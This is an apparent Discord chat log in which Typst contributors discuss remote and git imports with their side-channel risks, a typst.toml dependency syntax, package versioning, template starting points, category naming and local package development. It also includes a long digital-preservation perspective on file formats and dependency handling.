Personally, I vote to not suport dynamic string in imports. It is a pandora box. If it is not provided, people will find way around without too much issues

hoary thunder
#

Should image/read/etc. support URLs in your opinion?

fresh vault
#

nope

#

but we should resolve them

#

(again, worst case scenario we can add them)

hoary thunder
#

what do you mean with "resolve" here?

fresh vault
#

So, I depend on a module specified by a URL, and that module uses an image, I will need to download this image

hoary thunder
fresh vault
#

yep

#

(it works in my branch)

hoary thunder
#

Yeah I've seen, I tested the branch. It's quite cool.

#

However, I'm not sure whether it's really a good idea to allow importing individual files. Right now remote resources are fetched on a per-package basis and that ensures a certain degree of encapsulation.

#

What happens if a remote Typ file uses an absolute path for instance?

#

In a remote package, that path would be relative to the package root.

fresh vault
#

I do not know what should happen in this situation. It should fail I suppose

#

this is a good point

hoary thunder
#

Another thing that we'd need to discuss is caching policies

fresh vault
#

I believe it should be very strict.

hoary thunder
#

Very strict meaning aggressive caching or quick eviction?

fresh vault
#

aggressive caching.

#

but one could argue that the good thing to do would be to folllow http caching conventions

#

which means serializing a lot of context data.

#

for each file, we would need to serialize when to replace the file

#

Another solution, totally different, would be to allow to point to typst.toml via url (or something else) and then use the existing package logic. This would allow to keep the encapsulation we are looking for.

hoary thunder
fresh vault
#

whatever we do, that should work

#

But then, I would aggresivly evict the cached asset.

#

And only permit "raw" strings

hoary thunder
#

As a side note, this would need extra care with eval. Otherwise one can create a fake raw string through it.

sharp birch
#

Can someone briefly explain what is a dynamic string, and how is it different from literal/raw string? I only know of const/literal strings, strings that interpolate (f-string in Python) and string from a variable.

hoary thunder
sharp birch
#

Ok, so dynamic is the "fancy" word for concatenation. I suspected that. Thanks.

#

So if I use a (single) string variable instead, does it count as a literal? Probably, because there are constants and variables in programming languages that can hold string literals.

hoary thunder
#

This would open the attack vector again.

#

If we had compile time constants, that'd be a different story.

sharp birch
hoary thunder
fresh vault
hoary thunder
#

@novel torrent I think a "mark as unfinished" / "preview" metadata could be worthwhile (although some people might argue that 0.x is exactly that). what I'm just saying is that this should not mean not versioning these preview releases.

upper wolf
#

i'm one of those people seeing 0.x as preview

novel torrent
#

Well yes but what if I want a preview for my 2.0 version

#

what now

mild carbon
novel torrent
#

sure but that won't be the case forever

mild carbon
#

Doesn't semver have a mechanism for alpha, beta etc?

#

As postfix

sharp birch
ocean grove
mild carbon
#

So that's the metadata right there.

#

You could even have a "display prerelease" toggle on the package list

novel torrent
#

That's exactly what I was suggesting

#

I don't believe Typst currently supports this

main thicket
#

The bundler on the package repo parses the manifest key into a semver::Version

#

So I think it does actually

novel torrent
#

nope :/

image.png
main thicket
#

Hmm

#

What about 0.0.1-alpha

#

Or rc

#

I think the semver pkg only parses only specific ones

sharp birch
main thicket
#

Well I think, I could be wrong ofc

hoary thunder
#

But this feature could be added of course

main thicket
#

Ah, but the package does no?

#

i.e. the bundler in the package repo

hoary thunder
#

probably, if you say so

#

doesn't depend on typst, so I likely just picked something to validate is at least on the surface.

main thicket
#

Speaking off, I plan to extract the crate for the manifest parsing out to make it easy for tools to add their 3rd party tool sections

#

I needed that for typst-test anyway

#

But I was stopped dead in my tracks by toml vs toml_edit

versed yoke
hoary thunder
undone minnow
#

Using exclusively versions is a bit fragile + less flexible

versed yoke
#

Right, I had that idea shortly after releasing but this works well enough for now and means the user doesn't need to import tablex themselves just to change the version

hoary thunder
#

The side channel concerns unfortunately apply to git import just like they do to dynamic URLs. It would be possible to jerry-rig a git server to accept information via a sequence of git imports.

#

One possible way around this is to only allow repositories from public GitHub/GitLab, at least unless the user as very consciously opted into third-party services. There would probably be no way to extract the request timing / sequence information from GitHub (though I'm also not sure about that).

hoary thunder
#

Ok, I think I have one possible solution for the side channel problems: Git dependencies must be specified in a typst.toml file. It could also be used to specify versions for normal packages so that they don't have to be specified redundantly.

While less flexible, I think that solves the security problems by making everything statically resolvable.

main thicket
#

how will this impact packages

#

can they use git dependencies?

#

should they?

mild carbon
main thicket
#

yaml?

hoary thunder
#

Yaml for bib or what?

mild carbon
#

Yeah

main thicket
#

yaml is great at nested structures

#

toml is great at flat structures

mild carbon
#

👍

hoary thunder
main thicket
#

yeah

#

that makes sense to me

#

since a index package could just sidestep this restriction then

#

👍

tidal pumice
# hoary thunder Ok, I think I have one possible solution for the side channel problems: Git depe...

for consistency and convenience, I think dependencies in a typst.toml could act as aliases, even if they are not git dependencies:

[dependencies]
codly = { ref = "@preview/codly", version = "0.2.0" }
codly = "@preview/codly:0.2.0" # possible shorthand syntax
svg-emoji = { git = "https://github.com/polazarus/typst-svg-emoji", rev = "ae1ca043df91b9ec21da068b77769d9e1d4c8512" }

#import "codly" // instead of "@preview/codly:0.2.0"
#import "svg-emoji"
#

that would have the benefit of eliminating the need of changing versions in all the package's files

main thicket
#

bikeshedding time

tidal pumice
#

while still not requiring a typst.toml for packages in the official repository

main thicket
#

+1 from me for the idea though

sharp birch
#

afaik cargo uses hash and not rev keyword. I also would like to use hash.

tidal pumice
#

pretty sure it uses rev

sharp birch
#

it definetely can use hash.

#

maybe both?

tidal pumice
#

I don't see a mention of the word hash on that page

#

well, not a relevant one at least

sharp birch
#

well, I used it in the cargo.toml in the patch section and it worked.

undone minnow
#

i believe rev for revision is the standard term in the world of versioning software

main thicket
#

Configuring registry eould also be easily done in here i think

#

If one uses another registry

undone minnow
#

but i dont think we have to follow cargo.toml's structure exactly

main thicket
#

Per package and globally

undone minnow
#

not talking about hash here (I think hash isnt appropriate cuz rev in Cargo.toml can be things other than a commit hash)

#

but thinking like. the general structure

#

cuz Typst aims to be as friendly as possible, so we gotta analyze that carefully

#

how much are we willing to support here

main thicket
#

I think what frotzolotl showed is pretty good imo

#

Easy default

#

As well as necessary configuration

tidal pumice
#

either way, I think rev or revision are good

sharp birch
#

hmm, if it ignores it then it would be strange, I think

#

misremembering
I know for a fact

undone minnow
#

yea im pretty sure it ignores stuff it doesnt know

#

at least i remember having issues with that

main thicket
#

Which is not a good default imo btw

sharp birch
undone minnow
#

yeah

#

or whatever is in your cargo.lock

sharp birch
#

but AFAIK dioxus doesn't work when the versions mismatch. so either hash does work, or it was a miracle that hash didn't cause any problems.

undone minnow
#

i mean

#

they are all pulling from the same repository

#

so they were all getting the same commit

#

the latest

sharp birch
#

what is "they are all"?

undone minnow
#

the dioxus dependencies

#

in your link

#

so they wont mismatch

sharp birch
#

the mismatch is between the dx binary's version and the version in the patch section. if dx is built on a different version then there is a chance something wouldn't work.

undone minnow
#

well idk dioxus stuff sorry lol

#

but I assume the chance just didnt materialize itself i guess

#

anyway

#

but this is off topic

sharp birch
#

I addressed this on the server. I'll see what others will say.

hoary thunder
jade canopy
#

🤮

sharp birch
hoary thunder
sharp birch
#

can't packages already have period?

#

if @preview/package.nvim is a valid package already, then I don't think this would be enough

#

right now you can't import files that aren't "typst source file".

#

so it must have .typ at the end

#

for some reason the repo doesn't say which chars are allowed, but it looks like you can't use period in package name, nor @, but you can use - and _.

# 
/// Whether a string is a valid Typst identifier.
///
/// In addition to what is specified in the [Unicode Standard][uax31], we allow:
/// - `_` as a starting character,
/// - `_` and `-` as continuing characters.
///
/// [uax31]: http://www.unicode.org/reports/tr31/
#[inline]
pub fn is_ident(string: &str) -> bool {
    let mut chars = string.chars();
    chars
        .next()
        .map_or(false, |c| is_id_start(c) && chars.all(is_id_continue))
}

/// Whether a character can start an identifier.
#[inline]
pub fn is_id_start(c: char) -> bool {
    is_xid_start(c) || c == '_'
}

/// Whether a character can continue an identifier.
#[inline]
pub fn is_id_continue(c: char) -> bool {
    is_xid_continue(c) || c == '_' || c == '-'
}

pub fn is_xid_start(ch: char) -> bool {
    if ch.is_ascii() {
        return ASCII_START.0[ch as usize];
    }
    let chunk = *TRIE_START.0.get(ch as usize / 8 / CHUNK).unwrap_or(&0);
    let offset = chunk as usize * CHUNK / 2 + ch as usize / 8 % CHUNK;
    unsafe { LEAF.0.get_unchecked(offset) }.wrapping_shr(ch as u32 % 8) & 1 != 0
}

pub fn is_xid_continue(ch: char) -> bool {
    if ch.is_ascii() {
        return ASCII_CONTINUE.0[ch as usize];
    }
    let chunk = *TRIE_CONTINUE.0.get(ch as usize / 8 / CHUNK).unwrap_or(&0);
    let offset = chunk as usize * CHUNK / 2 + ch as usize / 8 % CHUNK;
    unsafe { LEAF.0.get_unchecked(offset) }.wrapping_shr(ch as u32 % 8) & 1 != 0
}
#

btw this is the most horrendous thing I have ever seen... maybe in any language.

image.png
sharp birch
main thicket
#

also takes longer to compileand pulls dependencies for a single line of code

sharp birch
#

no, that's fair

sharp birch
#

the only problem is that typst already uses regex crate...

#

and syntect also uses it

#

so now the question is why it isn't used for something cheap as checking if package/namespace is valid.

main thicket
#

you can go ahead and measure if it's faster

sharp birch
#

I didn't say that it will be faster. I think it can be negligibly slower, because typst checks the names only once per unique string, I assume. And the string itself and regex aren't that complex, so it should be fine.

#

I might measure it, but if @hoary thunder already did that then I don't see the point.

tidal pumice
#

(I moved that discussion into #contributors: #contributors message)

sharp birch
undone minnow
#

Maybe add one like @custom or @path and/or @git or smth

main thicket
#

import codly works if there is a typst.toml that defines this alias

#

then the alias must be a valid identifier

#

and is unambigious with a normal shorthand import

undone minnow
#

Eh, i don't think that's a good idea

#

However I can get behind something like

#

#import "@packages": codly

main thicket
#

sure that works too

#

although I'm not sure the extra syntax overhead adds anything for the user

#

one could argue that import codly fails if the alias is undefined, but so would any other solution that uses aliases

mild carbon
main thicket
#

it does solve the multiple same imports with same verison problem, but that was already solved with a util file too

#

maybe we just need a prelude feature instead?

mild carbon
#

Unless you could somehow import more than one package without repeating #import ”@packages”

undone minnow
#

We can just use namespaces for this

#

It's probably more elegant

main thicket
#

well

#

if we make versions not hard requirement for some special namespaces, then import "@alias/codly" would be closest to what we already have

#

or whatever the namespace would be called

#

but it should still serve each package individually i think

#

otherwise imports have too many edge cases a user must understand

#

but I'm not sure if this si the right approch either

#

my assumption as a user is that in general

#

import "@namespace/package"

#

pulls package in namespace from index.typst.app which it technically does now that i think about it more

#

but i can pull both x and y from there even if they use different namespaces or even registires

hoary thunder
#

Packages, Templates

sharp birch
#

python and rust uses literal names while js/ts use strings for imports. moreover, I can't do import 'react' and then react.. but in typst it works like that. And as a user this is something I didn't expect, because you import a string #import "package", but then this package name becomes an object that you can use package.. So maybe the #import package syntax would be better. And it is super easy to distinguish if it's a local file or a package, because for a file you have to use string with the path.

main thicket
#

well it could also be a module that you imported before

#

doesn't have to be a local package

sharp birch
#

i didn't say that it has to be a local package.

#

only for the local typst file

#

the module/package is different from file import

undone minnow
#

You'd still need syntax to specify a version thouvh

#

In the end you'd be having a string with extra steps

sharp birch
#

but i thought we already agreed on toml file where you specify everything

undone minnow
#

That'd be optional though

#

Not required

main thicket
#

yeah

sharp birch
#

in that case idk

main thicket
#

for users who use a package alot and want to save writing the namespace and version everytime

undone minnow
#

This is more geared towards those who need git deps and stuff

#

And more specific needs

sharp birch
#

so can we support 2 ways of importing packages or we have to only come up with one and only one?

undone minnow
#

We can support both yea

sharp birch
#

I can work with that

mild carbon
#

Somewhat off topic, but it would be cool to have a tool that could automatically bump packages by compiling with the newer version and checking that the output is identical

undone minnow
#

I think that'd be better suited for those who use the .toml

#

But yeah sure

sharp birch
#

auto-bump already works in cargo, but not in typst. though you have to set up how to update the pacakge versions.

sharp birch
jade canopy
#

At least use a good package like tablex lol

sharp birch
jade canopy
main thicket
#

Speaking off, if you guys want to write rust tools which interact with typst projects, I extracted the manifest parsing and project discovery logic from the package and typst-test into a small crate

sharp birch
jade canopy
undone minnow
#

Otherwise I'd have used the great example package by our man Laurenz of course

#

🚀

main thicket
#

I too only used what was in the example before me

undone minnow
#

We are forever stuck in it

main thicket
#

Codlys all the way down

sharp birch
undone minnow
hoary thunder
#

I think the example package might be one of very few (the only one?) that produces content if directly included.

sharp birch
hoary thunder
main thicket
#

(hence the suggestion of a custom prelude instead which would use the one file import idiom)

sharp birch
#

I mean, rust has it

undone minnow
hoary thunder
mild carbon
#

You could use a different keyword for packages versus file import?

undone minnow
#

Also rust didn't have it in the past

#

You had to use the external crate thing

sharp birch
#

typst didn't have packages support in the past

undone minnow
#

lol

hoary thunder
#

I'm not yet sure I understand why the current system should majorly change.

undone minnow
#

yeah I'm just commenting (re: the past)

main thicket
undone minnow
#

I mean

#

Isn't that just a template file ?

main thicket
#

which is kind of unrelated to this i think

main thicket
#

containing definitions you always want in scope

undone minnow
#

Yeah so

#

Just import it then

#

👍

main thicket
#

yeah

undone minnow
#

I mean

#

Sounds sensible to me 😂

#

Im not a fan of having too much implicit magic

main thicket
#

it's how people usually have defined aliases and single point imports for deps too

undone minnow
#

Glob imports are already a pain

#

Implicit glob imports then

#

Greater pain!

sharp birch
undone minnow
#

It's mostly just a matter of it being possible to track where stuff in your document comes from

sharp birch
#

the typst-lsp also would have to make it work with all the custom implicit stuff.

novel torrent
sharp birch
#

note that rev doesn't suppose/have to be a full hash.

median oyster
#

Coming from the digital preservation world, I would like to share a few thoughts.
Disclaimer: This is written without assuming any current or future availability of the mentioned features. My aim is not to harvest opinion or demand adherence, nor am I looking for arguments around the current feasibility of the language as a potential format in digital preservation. I'm merely trying to give the developers a perspective from my world. And with it, a hope that these perspectives will be considered during the continued development of Typst.

In the domain of digital preservation, selecting the right data formats is crucial for ensuring the long-term accessibility and integrity of archived materials. As someone involved in managing datasets that are legally required to be preserved indefinitely and immutably, I advocate for the consideration of Typst as a promising candidate for future records management systems. This perspective arises from the need for formats that not only facilitate current renderability but also uphold the principles of digital preservation.

#

Compiled outputs like PDF/A serve as part of the present renderability strategy where possible, we strive to only provide them as versions of these immutable sources for our designated community. For long-term archival, we prefer formats like LaTeX and OOXML (or possibly Typst in the future). We distinguish between white (i.e.: tex, docx, svg, csv, typ etc.), brown (i.e.: sqlite, pdf, jpg etc.), and black formats (i.e.: DWG, PSD WMA etc.). We work tirelessly to educate developers on why white formats are important for future accessibility. I truly believe that Typst has potential as the native data format in many future records management systems where documents are produced. How such systems can interface with the language to provide GUI tools for end-users, is different discussion entirely. I will focus on the preservation part and what must be considered if we are to produce interim formats for dissemination at a given point in time.

#

At the core of any preservation effort, we have the digital or physical object (the data object). This can be any recorded data, in either an unstructured, semi-structured or structured format. Meaning is provided from a users knowledge base at the time of access and from RI (Representation Information) alongside the data object, inside what is called an information object. These objects are stored in a self-documenting information package. Information objects can be classified as either CI (content information), PDI (Preservation Description Information, PI (Packaging Information) and DI (Descriptive Information). The information package can be part of a larger hierarchy of data that produce a larger set of information.

#

Representation Information facilitates the proper rendering, understanding, and interpretation of a data object. Here we operate with structural (hardware/software environment, data type and format) and semantic information (if the data is English, uses a specific number system etc.). We put RI into layers (like a dependency hierarchy) where each layer forms the information basis for the layer below. We call this the Presentation Network, and should, preferably, at the top layer be a physical object that bootstraps the interpretation process.

#

Over time, the representation network will need to adapt because the collective knowledge and understanding of the people we're trying to communicate with—our designated community—will evolve. Take, for example, a symbol that we currently recognize as indicating danger. We can't take for granted that people 200 years from now will interpret this symbol in the same way we do. Similarly, providing explanations in English might not be helpful if future generations don't understand the language. Our best approach is to systematically document changes in meaning and interpretation using the technology available to us, ensuring future generations can understand the context and significance of these symbols and terms as their meanings evolve. To do this, we need to be diligent in the way we approach and design our current tools.

I apologize the long intro. If we focus on Typst as a candidate in digital preservation frameworks, several key considerations emerge:
For clarity, I propose the following file format designations: .tyc for content files, .typ for package files, .tyt for template files, and possibly .tys for style format files. Employing distinct file formats significantly enhances readability and facilitates documentation. This differentiation also contributes to improved file management and organization.

#
  1. The core language should remain neutral with respect to technology, meaning it should not rely on the presence of any specific data format or software interface.
  2. To guarantee that digital objects can be rendered in new environments, the process of linking dependencies should be carried out within a mutable metadata layer, rather than embedding these links directly within the digital object itself. This means that the digital object should specify its requirements without dictating the specific locations from which these requirements can be fulfilled.
  3. Dependency references within a digital object should be uniquely referenced, except in cases where uniqueness leads to circular dependencies. The consideration of storage space is crucial in this context. While a 50-byte reference might seem insignificant in a single *.typ file, the cumulative impact becomes substantial across large datasets.
  4. Within dependency chains, mechanisms must be implemented to prevent the complications associated with dependency hell. This issue can be addressed through the application of rigorous version control and ensuring continuous availability, with a strong emphasis on the obligation to maintain published materials accessible. For archival purposes, it is advised that dependencies are stored locally.
  5. When an information object is removed from its hierarchical structure, it must retain its ability to self-document by incorporating any associated linked resources directly within itself.
#
  1. A collection of *.typ files, which encapsulate solely the core language, should possess the capability to utilize any chosen template file (recommended extension: *.tyt) to generate various formats for distribution. Nonetheless, these .typ files should maintain independence from template files, ensuring they do not require any specific template for their functionality or structure.
  2. A data object and its constituent elements should naturally support secure, non-reversible, and distinct cryptographic algorithms. Consequently, this design approach eliminates the need for modifications to the original .typ files, even when there is a need to convert them into a format that is readable by certain groups or communities in the future
  3. To enhance long-term accessibility, Typst must incorporate a robust error-handling strategy that ensures graceful degradation of content. This strategy should allow documents to be partially rendered even when certain dependencies are unavailable.

I could go on to detail how we work and how we produce Dissemination packages today, but I would bore you endlessly (if I haven't done so already.)

As a last shameful addition, I hope that Sqlite will be supported in data loading at some point 😄

tidal pumice
#
  1. To guarantee that digital objects can be rendered in new environments, the process of linking dependencies should be carried out within a mutable metadata layer, rather than embedding these links directly within the digital object itself. This means that the digital object should specify its requirements without dictating the specific locations from which these requirements can be fulfilled.
    I don't quite understand what you mean by that.

Is it just that there should be a separate file, like a typst.toml for specifying package names and versions?

[dependencies]
tablex = { ref = "@preview/tablex", version = "0.0.8" }

should it be more a lock file, similar to Cargo.lock?

[dependencies.tablex]
ref = "@preview/tablex"
version = "0.0.8"
checksum = "blake3:f778a102e5c99b4c46cfbbf0d89272ed69b5df42679a8fcf01eb6e4625bb7294"

and of course that those dependencies can be accessed not just from the official repository, but also alternative repositories, git repositories, or local paths?
or is it something else entirely?

median oyster
#

A dependency path should be mutable, the dependency request, if named inside the data object (i.e.: the *.typ file) will be immutable (and thus cannot hardcode the location of said dependency).

tidal pumice
#

so, absolute paths should not be allowed? no paths that contain the computer's user name or whatever?

median oyster
#

Sure, they are, if they are in the mutable metadata layer. But not inside the data object.

tidal pumice
#

I think the problem is that I don't understand what you mean by "mutable metadata layer"

median oyster
#

It is vague with purpose, but you can safely assume that this can be a config file or a metadata file at some place in the archive that can be edited without compromising integrity of the data object.

tidal pumice
#

okay, so I will think of it as a lock file then

median oyster
#

I'm referencing the Representation Network here. A toml file or lock file could potentially be part of that.

tidal pumice
#

another question:

A data object and its constituent elements should naturally support secure, non-reversible, and distinct cryptographic algorithms. Consequently, this design approach eliminates the need for modifications to the original .typ files, even when there is a need to convert them into a format that is readable by certain groups or communities in the future
what do you mean by that?
should in effect the source code be hashable so that modifications can be detected?
is it that content revisions can be uniquely identified even if any surrounding features (i.e. style) change?
or again, something else entirely?

median oyster
#

This relates to fixity information. It documents authentication mechanisms used to ensure that the Content Information (the data object) has not been altered in an undocumented manner. For immutable objects, it is preferably possible to produce some current presentable file based of the source, without changing the source fingerprint.

tidal pumice
#

okay, that sounds like typst should support being hashed and the hash being written somewhere
which is very much possible since typst files are just bytes and you can use tools (i.e. sha256sum, b3sum) to generate checksums

#

*if the source code is recorded somewhere non-digitally, another kind of tool would have to be used, I assume

median oyster
#

Yes, as long as the source file(s) can be compiled successfully as is. We have other tools that do the fingerprinting. Digital cryptographic signatures are also something to consider, but a totally different discussion.

#

a .sha256 file would be stored in a PDI information object inside the package. Dependencies like tablex, would be stored higher up in the archive hierarchy but could be «pulled down» to the information package if detached.

tidal pumice
#

then, just a bit of feedback:

  1. I think separating the .typ file extension into multiple depending on the use will make the language more difficult to learn. However, informally naming them according to their use sounds like a good idea.
    It is clear from the name template.typ what the module is about. Similarly, you could name a folder utils/ which would then contain any auxilliary functions.
  2. Having all templates be compatible with one another does not sound feasible to me.
    Certain templates might want the user to be able to specify a certain institution, a logo, or could provide a function to declare a different layout entirely for a single page.
  3. Error handling like you described sounds difficult to implement, but would definitely be a nice long-term project idea. Possibly something an extra tool could implement.
  4. Sqlite loading could be done without much hassle as a plugin :)
    Otherwise, I fully agree.
median oyster
#

Some comments to that:

  1. I agree fully that there should not be a file extension dependency (ref. my first consideration point). But a convention similar to the one I suggested, should be made, if the compiler is agnostic to file extensions. Standards and conventions are kind of a corner stone in the archival business 🙂
  2. I'm probably not conveying the idea properly here. Your argument is exactly the use case I am talking about; The fact that you want a table, list or heading with certain content, should not define how it should look when compiled to an arbitrary rendered product. You separate structure (and content within), behaviour and visual presentation.
    3 - 4. While I advocate for modularity in general. In a preservation perspective, additional tools or plugins means additional dependency management. If some reasonably relatable functionality can be implemented in the core, it should be. In a perfect preservation world, we have one compiler per major version, associated format dependency libraries and a repository of relational packages, templates or style files.
tidal pumice
#

But a convention similar to the one I suggested, should be made, if the compiler is agnostic to file extensions.
I'd suggest something like foo.template.typ, or foo.content.typ in that case. I think that would be easy to read, while keeping compatibility in every way. Though I'm not sure it should be a standard across the board. Mainly because many documents are small enough to not require that kind of separation.

  1. Sounds good then! I think that is very much a goal of typst and should definitely continue to be improved upon.
  2. I don't have a problem with having it internal to the typst core, as long as that kind of error recovery can be done without increasing executable sizes or lowering performance too much.
    And also as long as it has to be explicitly enabled. I don't think recovering from errors by default is a good choice, because readability of any source code can decrease significantly and the compiler would be harder to extend. (See web browsers and what they have to do to facilitate error recovery)
  3. Dependency management of plugins is the same as with all other packages. Meaning that if the infrastructure exists for normal dependency management, plugins aren't any extra work.
    That is, unless you want to archive plugins or any other binary file formats. That, I admit, could cause problems.
novel torrent
#

like, imagine having to write cargo build src/main.rs to compile a Rust project

#

except every project can use a different convention for what the entrypoint should be

#

Also I think we should write out some common grounds for the difference between a template and a library (is anything that's not a template a library?) to understand what each one really needs. Does that exist yet?

torpid lodge
#

Everything is a package and every package with a non-empty template array is a template

mild carbon
#

Would it make sense to separate the package and template repos?

main hill
#

Just interested - how typst init command would look when package has more than one template?

hoary thunder
mild carbon
#

Thats more of an implementation detail though

hoary thunder
hoary thunder
#

It's just a package+

novel torrent
novel torrent
#

There are also projects

#

But there is still the question; if a package isn't a template is it necessarily a library? Is there some third option?

torpid lodge
main thicket
#

I find it a little unexpected that they are still packages too

#

If i wanted to tweak a template i would be at the mercy of the package manager

#

I expeced them to be separate entities that are fully used to setup the new project

#

no files other than other packages left out

#

somewhat because we currently still have the resource problem, somewhat because of the tweaking

sleek halo
# torpid lodge https://github.com/typst/packages/pull/394 The template PR is now almost ready t...

Only thing that I noticed was that I was not immediately clear on what the difference between scripting and utility would be - thinking a bit I assume that e.g. tidy is utility, whereas valkyrie is scripting.

Other than that: the richness of (publication) categories skews towards the academia which I suppose is on purpose. Tbh I also can't think of a lot of categories that don't result in a lot of overlapping and/or not-all-encompassing categories: office could be divided into subcategories, but office would still be needed for misc stuff. So having mostly the rigidly structured academic categories makes sense.

tidal pumice
#

improved tooling should lessen the difficulty in publishing and changing both normal packages and templates

sleek halo
# main thicket I find it a little unexpected that they are still packages too

I find it pretty natural that a template would be based on a package that provides its foundational building blocks, but yes it does limit customization. I think once templates can use custom types it would become easier to customize templates that use them, even without full control of the source code?

In any case just putting the whole thing in the template and leaving the package empty is an escape hatch that could be a bit more formalized if needed.

#

E.g. a package (in the sense that that's still the publishing unit) could skip typst.toml fields related to being importable, and then it's just a (set of) templates.

main thicket
#

Sometimes there are show rules you can't override in a template and you're required to simply copy it all over

#

I think it'll be fine if we hold those to high standards and encourage correct design

#

APIs in a way that ensure customization where needed

#

the categories made sense to me i think, but ofc some are a little broad as said before

#

so far though, for templates to be powerful enough we should definitely tackle the #1178292717239926824 problem soon

tidal pumice
main thicket
#

fellow nushell and gitoxide enjoyer

tidal pumice
main thicket
#

but yeah perhaps it would be good to at least allow overriding it easily, it really comes down to how restrictive some of these are

novel torrent
#

And still I'm confused about the user-facing process here.
I go typst init --template "@preview/awesome-book-template" a-book. Now I have a bunch of files in a-book/, but...
Where do I go from here? Which file should I edit? what's the command to compile the project? Why should this be different for each project? –that just leaves a lot of room for unwelcome variation in the ecosystem

torpid lodge
torpid lodge
#

The latter command will take into account whatever the package starting point puts in its entrypoint key

novel torrent
#

idk I'm not so convinced by that design. What is the usecase for a nonstandard entrypoint?

sleek halo
#

just to make sure: typst init "@local/..." will also be supported, right?

main thicket
#

instead of a different entry point

torpid lodge
torpid lodge
torpid lodge
main thicket
#

ah

#

ok so what do the starting points do again then

#

different ways to start off?

torpid lodge
#

Just a different scaffold

main thicket
#

ok i see

#

that makes sense i guess

torpid lodge
#

Imagine one template using draft mode, another final. Or one with Hayagriva, one BibTeX

sleek halo
torpid lodge
#

We do not treat @local any different from @preview or any other potential namespace. It will just by convention not be assigned

#

So when Typst tries to scaffold without a version, it’ll try to download the index (non-existing for local) to determine the latest version

hoary thunder
#

I guess it could also try to discover the latest version of a local package by scanning the file system.

hoary thunder
main thicket
#

that's true!

hoary thunder
#

I also like that it allows templates to hide their complexity away.

#

It obviously is a bit problematic with the resources, but that's fixable and imo shouldn't affect the template design.

hoary thunder
#

and also, as @sleek halo pointed out, it allows template authors to use their judgement to decide which parts should be pasted and which should be hidden. the setup is basically a superset of just dumping a starting point.

main thicket
#

it's just a little silly when the author goes with no hidden part

#

importing the package will yield nothing

tidal pumice
#

something to consider: when you write a template, you will have to insert #import "@preview/my-template:0.1.0", but once you do that, you will not be able to compile the package until it was published
so template writers would have to switch it out with #import "../template.typ" until they publish

#

that doesn't sound ideal to me

main thicket
#

this is indeed already a problem with packages

#

in my manual i alread change the imports using regex

hoary thunder
main thicket
hoary thunder
#

you can put any directory there

main thicket
#

so do i link it to preiew and other package will stop working?

hoary thunder
#

no nothing stops working. you link it to data-dir/typst/packages/preview/package/version

#

there won't even be any packages there because there'll be in cache-dir

#

but you could also link it in cache-dir and it should still work

main thicket
#

I'm unclear waht the lookup behavior is

hoary thunder
main thicket
#

if i ahve a preview "namespace" locally

#

will it search for packages there first and fallback to online?

hoary thunder
#

yeah

main thicket
#

not sure i like that solution

scarlet nacelle
#

To me it's a little odd that the "cv" category contains both resumes and CVs, I feel like if I want to find resume templates I would look for a "resume" category. I assume these were combined into one intentionally, but it feels like I might mistakenly miss the category at a first glance.

#

For disciplines, I would want a few more options to split out the "arts" category. Feels a bit reductive to group social sciences, psychology, human language, history, etc. with music theory, curation and anthropology

mild carbon
scarlet nacelle
hoary thunder
hoary thunder
#

there are at least two more of those pages on wikipedia which are all a bit different

#

we discussed this for quite a while actually

#

and I agree that it's a bit reductive

#

but at the same time those are the sciences Typst is used most for atm and we can still add new categories based on demand

#

making a full list of all sciences is basically an impossible task

#

and the alternative, to group more stuff together (e.g. physics, biology, chemistry) reduces the usefulness for those groups even though they use Typst most actively

mild carbon
#

It also makes sense to start out with coarser categories, and rather specialize over time as more packages and templates are created. It's pointless to have dozens of categories with almost nothing in them

tidal pumice
scarlet nacelle
#

Fair, agreed that the Wikipedia page isn't ideal, but I still think that "arts" is too much under one category. I also agree that it makes sense to base categories on actual usage, but I'd suggest splitting out at least "music" (they will have many unique typesetting needs) and maybe renaming "arts" to "humanities" or "social-sciences". I feel that "arts" comes off as somewhat of an insult to the social sciences

#

damnit, didn't see that music was already separate again

#

I'm so bad

mild carbon
#

https://en.wikipedia.org/wiki/Liberal_arts_education?wprov=sfla1

Liberal arts education

Liberal arts education (from Latin liberalis "free" and ars "art or principled practice") is the traditional academic course in Western higher education. Liberal arts takes the term art in the sense of a learned skill rather than specifically the fine arts. Liberal arts education can refer to studies in a liberal arts degree course or to a unive...

scarlet nacelle
#

🫠 I know, but "arts" has a strong connotation to just mean like painting or shakespeare to a layperson. It's somewhat mean in that sense, and may technically work, but gives off a bad taste. (I also literally visited that wikipedia page while editing the previous comment 🙃 ) I didn't suggest "liberal-arts" since it seems like it would just require another separate "fine-arts" category anyway

#

I also lament that this is all bikeshedding (if explicitly requested), and overall things will be fine even if we disagree.

#

I think "fun" is a really nice functional category! (could add a pun to its description...)

hoary thunder
#

But I see how one might disagree

#

It's not one of the discipline categories

scarlet nacelle
#

I don't see that in CATEGORIES.md ? I see languages, but it seems orthogonal to the discipline

hoary thunder
#

We were discussing whether linguistics should be folded into languages are not and in the end it fell through

scarlet nacelle
#

Ah, yes

hoary thunder
#

The description that Martin wrote for that is indeed not fitting for linguistics

#

Which maybe is okay. Maybe it's not useful to group like that.

#

We also discussed humanities as a category and I'm not sure why we didn't go with it

#

I'm open to that

novel torrent
sleek halo
# novel torrent ??? what does starting-point do then

Packages can now declare one or more template starting points.

The starting-point is the actual template to copy. the <template-spec> is the package, with or without explicitly specified version, that contains that starting point.

novel torrent
#

yeah sorry

#

the name is kinda unintuitive

#

btw I think for packages to hide their internals they could also just import "@ns/themselves"

#

or is that how it's already meant to be done

novel torrent
sleek halo
# novel torrent but then once the package is updated this developer will not be able to access i...

my understanding is that if you import "@preview/xy:0.1.0", typst first looks locally, then in published packages. The suggestion is to create package/preview/xy/0.1.0 - when I install the packages I develop locally, I copy them by a script (which I basically took from CeTZ).

Then when you import "@preview/xy:0.2.0" it will simply not find it locally and thus download and cache the published package if it exists.

sharp birch
#

I was surprised by this and also discovered this from cetz. It's how I use fletcher now, because it has some patches that are only on the main branch (and there is no need to modify .cache dir, which you can do instead): ~/.local/share/typst/packages/preview/fletcher/0.4.2.

hoary thunder
hoary thunder
novel torrent
#

sorry about that.

novel torrent
#

now I have to delete the symlink and probably also create a new one. This is starting to sound like a lot of work and I think I'll just keep using the bulky workful I'm stuck with now

main thicket
#

I don't like the idea of inserting this symlink into the preview namespace locally, it feels like a hack that hinges on the current internal behavior, which is ot guaranteed to stay this way

novel torrent
#

If I could define somewhere @preview/package:dev as the git repo maybe it makes more sense for it to always be the latest. But still when publishing I have to remember to switch it out...

main thicket
#

dependencies inside source files are starting to show their drawbacks, how do package devs in other languages do this?

sleek halo
novel torrent
main thicket
#

